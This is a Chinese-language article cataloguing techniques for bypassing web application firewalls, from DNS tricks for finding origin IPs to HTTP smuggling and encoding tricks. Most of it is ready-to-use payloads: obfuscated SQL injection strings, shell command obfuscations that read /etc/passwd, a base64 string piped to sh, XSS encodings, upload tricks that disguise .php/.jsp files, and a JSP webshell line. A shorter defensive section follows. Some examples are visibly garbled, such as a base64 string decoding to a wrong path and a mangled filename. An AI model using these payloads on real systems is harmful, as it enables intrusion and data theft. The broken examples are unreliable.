WAF绕过技术全面解析:从原理到实践方案(简易版)
Web 应用防火墙 (WAF) 作为保护网站安全的重要防线,其绕过技术一直是网络安全研究的热点领域。本文将系统性地介绍 WAF 绕过的方法论、具体技术方案和实践策略,内容涵盖网络架构层、HTTP 协议层、应用层以及数据库层的绕过技术,并提供详细的案例分析和防御建议。
WAF基础与绕过方法论
Web 应用防火墙 (WAF) 是一种专门设计用来保护 Web 应用程序的安全解决方案,它通过监控、过滤和阻止恶意 HTTP/HTTPS 流量来防御各类网络攻击。WAF 通常部署在 Web 应用程序和客户端之间,像一座 "智能安检门" 检查所有进出网站的流量,核心任务包括拦截攻击 (如 SQL 注入、XSS)、过滤异常请求(如 CC 攻击) 以及通过 "虚拟补丁" 临时隐藏漏洞。
WAF 的工作流程可分为四个关键阶段:
预处理阶段:判断请求是否为 HTTP/HTTPS,检查 URL 是否在白名单中
规则检测阶段:将解析后的数据包与预置规则库进行匹配
处理模块:根据检测结果执行放行、阻断或告警操作
日志记录:记录所有拦截和处理日志供后续分析
绕过 WAF 的本质是寻找 WAF 设备之后处理应用层数据包的硬件 / 软件特性,构造 WAF 无法识别但应用程序能成功执行的载荷。这些特性就像特定场景,当满足这些场景而 WAF 未考虑时,就能实现绕过。成功的 WAF 绕过需要三个关键条件:熟练掌握目标系统函数和语法、深入了解中间件运行机制,以及了解 WAF 的防护原理和方法。
从技术实施角度看,WAF 绕过可分为四大层面:
网络架构层绕过:针对 WAF 部署位置的绕过
HTTP 协议层绕过:利用协议解析差异
应用程序层绕过:利用应用特性或漏洞
数据库层绕过:利用数据库特性和 SQL 语法技巧
网络架构层绕过技术
网络架构层的 WAF 绕过主要针对 WAF 的部署位置和网络流量路径设计,核心思路是避开 WAF 的检测范围或找到防护体系的薄弱环节。这一层的绕过尤其适用于云 WAF 场景,通过寻找真实服务器 IP 或利用网络配置不当实现绕过。
寻找真实IP绕过云WAF
云 WAF 通常通过 DNS 解析将流量引导至云端防护节点,找到网站的真实服务器 IP 即可实现直接访问,绕过云 WAF 的防护。以下是几种有效的真实 IP 发现方法:
二级域名与其他域名解析记录:
查找同一域名注册者下的其他域名解析记录,特别是未接入 WAF 的二级域名(如 test.example.com、dev.example.com)可能直接解析到真实 IP
使用工具如
dig或nslookup查询相关域名的 DNS 记录
邮件服务器 MX 记录:
邮件服务器通常与 Web 服务器位于同一网络环境,通过查询域名的 MX 记录可能发现真实 IP
Windows 下使用
nslookup -qt=mx example.comLinux 下使用
dig mx example.com
历史解析记录查询:
网站接入云 WAF 前的 DNS 记录可能暴露真实 IP
使用 SecurityTrails 等服务查询域名历史解析记录: https://securitytrails.com/
全网扫描与 SSRF 利用:
使用 Zmap 等快速扫描工具对全网 IP 进行扫描,通过特征比对找到真实服务器
若目标存在 SSRF 漏洞,可通过漏洞反向连接获取网站真实 IP
利用网络配置漏洞
除了寻找真实 IP,网络架构层的绕过还包括:
同网段绕过:当 WAF 仅防护特定网段时,通过处于同一内网的其他设备发起请求可能绕过防护
边界漏洞利用:利用网络边界设备(如负载均衡器、CDN 节点)的配置缺陷或漏洞,将恶意流量注入到 WAF 防护区域之外
IP 白名单绕过:部分 WAF 对搜索引擎爬虫或特定 IP 段(如公司内网)设置白名单,伪装成这些可信来源可能绕过检测
表:网络架构层绕过技术对比
网络架构层的绕过往往是最直接有效的方法,但依赖于目标系统的配置情况和信息收集的全面性。在实际渗透测试中,这些技术常与其他层面的绕过方法结合使用,形成多层次的绕过策略。
HTTP协议层绕过技术
HTTP 协议层的绕过技术利用 WAF 与后端服务器在协议解析上的差异,通过构造特殊的 HTTP 请求实现防护绕过。这种类型的绕过不依赖于特定应用程序或数据库,具有较高的通用性,是 WAF 绕过中最常用的方法之一。
SSL/TLS协议绕过
利用 WAF 对 SSL 加密算法支持不全面的特性可以实现绕过,特别是在某些硬件 WAF 场景下:
SSL/TLS 版本与加密套件探测:
使用
sslscan工具识别服务器支持的 SSL/TLS 版本和加密套件:sslscan http://target/ | grep Accept对比 WAF 与后端服务器支持的加密算法,找出 WAF 不支持但服务器支持的组合
特定加密算法请求:
使用 curl 指定特定加密套件发起请求:
curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test这种方法可能使 WAF 无法解密检测流量,而后端服务器能正常处理
HTTP协议版本与管道化技术
HTTP 协议版本的差异和管道化技术可有效绕过部分 WAF 的检测机制:
HTTP 协议版本差异:
通过发送非标准 HTTP 版本请求 (如 HTTP/0.9) 或最新版本 (如 HTTP/2) 利用 WAF 解析差异
某些 WAF 对老版本协议支持不完善,可能忽略部分恶意请求
HTTP 管道化 (Pipeline) 技术:
在单个 TCP 连接中连续发送多个 HTTP 请求,利用 WAF 可能只检测第一个请求的特性
需要设置
Connection: keep-alive头部维持连接第一个请求为正常请求,后续请求包含恶意载荷
分块传输编码 (Chunked Transfer Encoding):
使用
Transfer-Encoding: chunked头部,将请求体分块发送WAF 与后端服务器对分块数据解析逻辑可能不一致
数据最后需要用
0独占一行表示结束
编码与内容类型绕过
利用各种编码方式和内容类型声明可以混淆 WAF 的检测规则:
URL 编码与双重 URL 编码:
对特殊字符进行 URL 编码:
'变为%27,变为%20双重 URL 编码:
%27变为%2527,部分 WAF 只解码一次案例:
' OR 1=1 --编码为%2527%2520OR%25201%253D1%2520--绕过安全狗
字符集编码 (Charset) 绕过:
修改
Content-Type头部使用非常用字符集:Content-Type: application/x-www-form-urlencoded;charset=ibm500可用字符集包括 ibm037、ibm500、cp875、ibm1026 等
Burpsuite 的 HTTP Request Smuggler 插件可简化此类数据包修改
MIME 编码绕过:
主要用于 Spring 框架,利用文件名 MIME 解码特性
文件名格式:
=?charset?B?base64str?=,如=?UTF-8?B?YS5gc3A=?=解码为a.jspWAF 可能未处理此类编码而直接放行
请求头与参数污染技术
请求头操纵和参数污染是 HTTP 协议层绕过的有效手段:
Host 头绕过:
修改 Host 头绕过基于域名防护的 WAF:
Host: localhost:80 Host: 127.0.0.1:80适用于 WAF 仅验证特定 Host 头的场景
HTTP 参数污染 (HPP):
提交多个同名参数,利用 WAF 与后端取参差异:
?id=1&id=union select 1,2,3WAF 可能检查第一个
id参数,而后端取最后一个不同服务器对多值参数的处理方式不同,PHP 通常取最后一个,ASP.NET 取第一个
Content-Type 切换:
将
application/x-www-form-urlencoded改为multipart/form-data部分 WAF 对 multipart 请求只检测文件上传,忽略其他攻击
需要构造合适的 boundary 和请求结构
表:HTTP 协议层主要绕过技术对比
HTTP 协议层的绕过技术不断创新,随着 HTTP/3 等新协议的出现和各类中间件解析差异的发现,未来将出现更多基于协议特性的绕过方法。这些技术往往可以组合使用,形成更复杂的绕过策略。
应用程序层绕过技术
应用程序层绕过技术主要利用 Web 应用程序、中间件或脚本引擎的特有功能或解析差异来绕过 WAF 检测。这类绕过方法通常针对特定技术栈,需要根据目标系统的具体实现选择合适的技术。
Web服务器特性利用
不同 Web 服务器对 HTTP 请求的解析存在差异,这些差异可被用于 WAF 绕过:
IIS 服务器 % 特性:
在 ASP+IIS 环境中,
s%elect可能被解析为select因 IIS 会删除
%字符,而 WAF 可能保留原始输入类似地,
un%ion可绕过对union关键词的检测
IIS Unicode 解析特性:
IIS 支持 Unicode 解析,如
s%u0065lect被转换为select更高级的技巧是利用多个 widechar 转换为同一字符:
%u0065(e) 和%u00f0都会被转换为e
案例:
s%u0065lect和s%u00f0lect都被解析为select
Apache 畸形 Method 处理:
某些 Apache 版本会忽略非常规 HTTP 方法,如
DOTA2 /?id=1可能被当作 GET 请求处理WAF 可能严格校验方法类型而导致绕过
可尝试非标准方法如
GETT、POSTx等
PHP 解析特性:
PHP 在解析 multipart 数据时,boundary 识别可能只取逗号前内容
设置 boundary 为
----aaaa,123456,PHP 只识别----aaaaWAF 可能获取整个字符串导致解析不一致
文件上传绕过技术
文件上传是常见的攻击向量,针对 WAF 的上传过滤有多种绕过方法:
多重 filename 属性:
PHP 取最后一个 filename 值,而 WAF 可能检查第一个:
Content-Disposition: form-data; name="file"; filename="a.txt";filename="a.php"最终服务器接收
a.php,而 WAF 检查a.txt
boundary 与注释混淆:
在 boundary 中插入注释或特殊字符:
Content-Type: multipart/form-data; boundary=----12345/*test*/不同组件对注释的处理可能不一致
文件内容混淆:
在文件开头添加大量注释或垃圾数据(超过 WAF 检测大小限制)
使用图片马或混合内容绕过内容检测
对文件内容进行编码或加密
脚本命令执行绕过
系统命令执行是攻击的常见目标,有多种方法可绕过 WAF 对命令的检测:
Linux 命令绕过:
空格绕过:
cat</etc/passwd cat${IFS}/etc/passwd X=$'cat\x20/etc/passwd'&&$X命令分割:
c'a't /etc/pass'"wd c""at /e't'c/pass""wd /b??/ca? /e?c/pas?wd通配符扩展:
/b*/ca* /et*/pas*d
Windows 命令绕过:
变量截取与拼接:
set a=net user & call %a% %CommonProgramFiles:~10,-18%baidu.com特殊字符干扰:
wh^o^am""i算术表达式:
%PROGRAMFILES:~10,-5%
脚本引擎执行:
通过 Perl、Python 等执行命令:
python -c 'import subprocess; subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"])'PHP:
php -r 'exec("ca"."t /et"."c/pa"."sswd");'Base64 编码执行:
echo Y2F0IC91dGMvcGFzc3dk | base64 -d | sh
编码与混淆技术
各种编码转换和混淆技术可有效绕过基于关键词检测的 WAF 规则:
多重编码组合:
Unicode 编码:
\u0065\u0076\u0061\u006c代替evalHTML 实体编码:
<script>代替<script>混合编码:
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E绕过 XSS 过滤
变量与字符串拼接:
JavaScript:
['al','ert'].join('')('1')PHP:
$a='ass';$b='ert';$c=$b.$a; $c(1);SQL:
CONCAT('sel','ect')代替select
进制转换与特殊表示:
十六进制:
0x61646D696E代替admin八进制:
\163\145\154\145\143\164(select)十进制:
char(115,101,108,101,99,116)
表:应用程序层绕过技术适用场景
应用程序层的绕过技术高度依赖于目标系统的具体实现和环境配置,在实际渗透测试中需要结合信息收集结果选择合适的技术。随着 Web 技术的发展和新编程特性的出现,这类绕过方法也在不断演进和丰富。
数据库层绕过技术
数据库层绕过技术专门针对 WAF 的 SQL 注入防护机制,利用数据库特性和 SQL 语法技巧构造恶意查询。这类技术需要深入了解各类数据库的语法差异和特性,是 SQL 注入攻击中的高级技巧。
SQL注释与空白符技巧
注释和空白符的灵活运用是绕过 WAF 关键词检测的基础方法:
注释符绕过:
普通注释:
union/**/select使用/**/分割关键词长注释干扰:
union/*aaaaaaaaaaaaa*/select消耗 WAF 匹配资源内联注释 (MySQL 特有):
/*!union*/select或/*!50000union*/select版本号注释:
/*!32302 1/0*/仅在 MySQL 3.23.02 以下版本执行
空白符替代:
MySQL 空白符包括:
%09(TAB)、%0A(换行)、%0B、%0C、%0D、%A0等特殊空白符:
%25A0(URL 编码的%A0)案例:
union%250Cselect利用换页符分隔关键词
注释与换行组合:
1%23%0AAND%23%0A1=1%23解码后:1# AND# 1=1##在 MySQL 中为注释符,%0A为换行
数据库函数与语法特性
利用数据库特有函数和语法特性可构造复杂绕过载荷:
函数分隔技巧:
concat%2520(使用双重编码空格concat/**/(使用注释分隔concat%25a0(使用特殊空白符
浮点数词法解析:
id=8E0union select 1,2,3id=8.0union select 1,2,3id=\Nunion select 1,2,3
MySQL 特殊语法:
ODBC 转义语法:
select {x table_name} from {x information_schema.tables}大括号表达式:
union{x select{x 1},2}
报错注入函数:
extractvalue(1,concat(0x5c,md5(3)))updatexml(1,concat(0x5c,md5(3)))几何函数:
GeometryCollection((select * from (select * from (select @@version)x)y)) polygon((select * from (select name_const(version(),1))x))这些函数常被 WAF 忽略但能执行 SQL
等价替换与逻辑混淆
通过关键词替换和逻辑重构可绕过简单的关键词过滤规则:
关键词等价替换:
and→&&,or→||=→like或rlikesleep()→benchmark(10000000,md5(1))substr()→substring()或mid()
逻辑重构:
union select 1,2→union select * from ((select 1)A join (select 2)B)if(a,b,c)→case when a then b else c endlimit 1,1→limit 1 offset 1
十六进制与字符编码:
admin→0x61646D696Eselect→char(115,101,108,101,99,116)部分场景可用二进制或八进制表示
高级绕过技术
针对复杂 WAF 规则的高级绕过方法:
缓冲区溢出绕过:
构造超长参数名或值消耗 WAF 处理资源
如超过 48KB 的 POST 数据可能绕过某些 ISAPI 过滤器
案例:填充 48KB 无用数据后再写注入语句
PCRE 限制绕过:
利用 WAF 的正则匹配次数限制 (PCRE_EXTRA_MATCH_LIMIT)
注入大量注释消耗匹配资源:
union/*aaa...*/select当注释字符超过 100 万时可能绕过部分 WAF
Libinjection 绕过:
Libinjection 是许多 WAF 使用的 SQLi 检测库
使用不常用 SQL 函数:
mod(3,2) union select mod(3,2),usr,pwd from user特殊字符插入:
1<@可能绕过检测大括号语法:
1 and{ifupdatexml(1,concat(0x3a,(select schema_name from information_schema.schemata limit 0,1)),1)}
Fuzz 测试绕过:
编写脚本自动化测试各种变异组合
使用随机 UA 头减少被封锁风险
示例 Fuzz 向量:
fuzz_aa = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00'] fuzz_bb = ['', ' '] fuzz_cc = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]组合测试如
/*!union%s%s%sselect*/
表:数据库层绕过技术分类
数据库层绕过技术是 SQL 注入攻击中的高级主题,需要根据目标数据库类型和 WAF 规则特点选择合适的技术组合。随着 WAF 技术的进步,单纯的注释或大小写变换可能不再有效,需要结合协议层和应用层技术形成多层次的复合绕过策略。
综合绕过策略与防御建议
前文详细介绍了各层面的 WAF 绕过技术,但在实际环境中,单一技术往往难以突破现代高级 WAF 的防护。本章将探讨如何综合应用各类技术形成有效的绕过策略,同时从防御角度提供 WAF 配置建议,帮助安全人员加固防护体系。
多技术组合绕过策略
分层组合攻击是突破 WAF 的有效方法,通过结合网络层、协议层和应用层技术构造复杂攻击载荷:
编码嵌套组合:
将 Unicode 编码与双重 URL 编码结合:
%25%37%35( 双重编码的u) +%25%36%35(e) =%u0065HTML 实体编码嵌套 Base64:
<script>+Base64编码事件处理函数案例:
%2527(双重编码单引号) +%20union%20+%0Aselect(换行分隔)
协议与数据库层结合:
使用 HTTP 分块传输编码发送 SQL 注入载荷
在 POST 数据超过 48KB 后插入 SQL 语句,绕过 ISAPI 过滤器
修改 Content-Type 为
multipart/form-data同时使用数据库注释符分隔关键词
应用与数据库层结合:
利用 PHP 的
filename解析特性上传.php文件,文件内容包含编码后的 SQL 语句通过文件包含漏洞执行上传文件,触发二次 SQL 注入
案例:上传文件名为
=2UTF-82B?YS5gc3A=?=(解码为 a.jsp),内容包含<% execute(request("cmd")) %>
情景化绕过流程示例:
通过 DNS 历史记录找到真实 IP,绕过云 WAF
使用
curl --ciphers ECDHE-RSA-AES256-SHA建立 SSL 连接发送分块编码的 POST 请求,参数名重复且第一个参数正常
SQL 语句中使用
/*!union*/内联注释和%0A换行关键表名和列名使用十六进制表示
0x7573657273(users)
WAF绕过检测与防御
针对日益复杂的绕过技术,防御方需要采取多层次的安全措施:
WAF 配置加固建议:
启用全量解码检测:对 URL 编码、Unicode、Base64 等进行多层解码后检测
限制最大 HTTP 头数量和大小,防止缓冲区溢出攻击
设置合理的 PCRE 匹配限制,既防 ReDoS 又避免被绕过
对所有同名参数进行检测,而非仅第一个或最后一个
架构设计建议:
避免暴露真实 IP,定期检查 DNS 记录
邮件服务器与 Web 服务器分离,MX 记录不指向业务 IP
使用网络层 ACL 限制非 HTTP/HTTPS 流量访问 Web 服务器
考虑混合部署模式:云 WAF+ 本地硬件 WAF 形成多层次防护
监控与日志分析:
记录所有被拦截请求的原始数据,包括 HTTP 头和 body
对成功请求进行抽样分析,检测潜在绕过行为
建立异常流量基线,监控偏离基线的请求模式
使用机器学习检测编码异常和参数变异模式
代码层防御:
使用参数化查询而非拼接 SQL
输入验证采用白名单而非黑名单
统一大小写处理,避免大小写绕过
对文件上传进行内容检测而非仅依赖扩展名
未来趋势与研究方向
WAF 绕过技术仍在持续演进,以下几个方向值得关注:
AI 驱动的绕过技术:
使用生成对抗网络 (GAN) 自动生成绕过载荷
基于强化学习的自动化 Fuzz 测试框架
上下文感知的语义绕过,理解应用逻辑后构造合法恶意请求
新兴协议与标准:
HTTP/3 协议带来的新解析差异
WebAssembly 等新执行环境中的绕过可能性
服务网格 (Service Mesh) 架构下的安全边界变化
硬件级绕过:
利用 CPU 推测执行等硬件特性绕过安全检测
基于时间的侧信道攻击探测 WAF 规则
GPU 加速的暴力 Fuzz 测试
防御技术演进:
行为分析替代静态规则匹配
客户端证明 (Client Proof) 技术验证请求合法性
可编程 WAF 支持自定义检测逻辑
表:WAF 绕过与防御技术对比
WAF 绕过与防护是一场持续的攻防博弈,没有一劳永逸的解决方案。安全团队需要保持对最新绕过技术的了解,定期评估和调整防护策略,同时加强开发人员的安全培训,从源头减少漏洞的产生。只有将 WAF 与其他安全措施结合,形成纵深防御体系,才能有效应对日益复杂的网络攻击。
尤其是防止 xgz 干坏事,必须得加防御!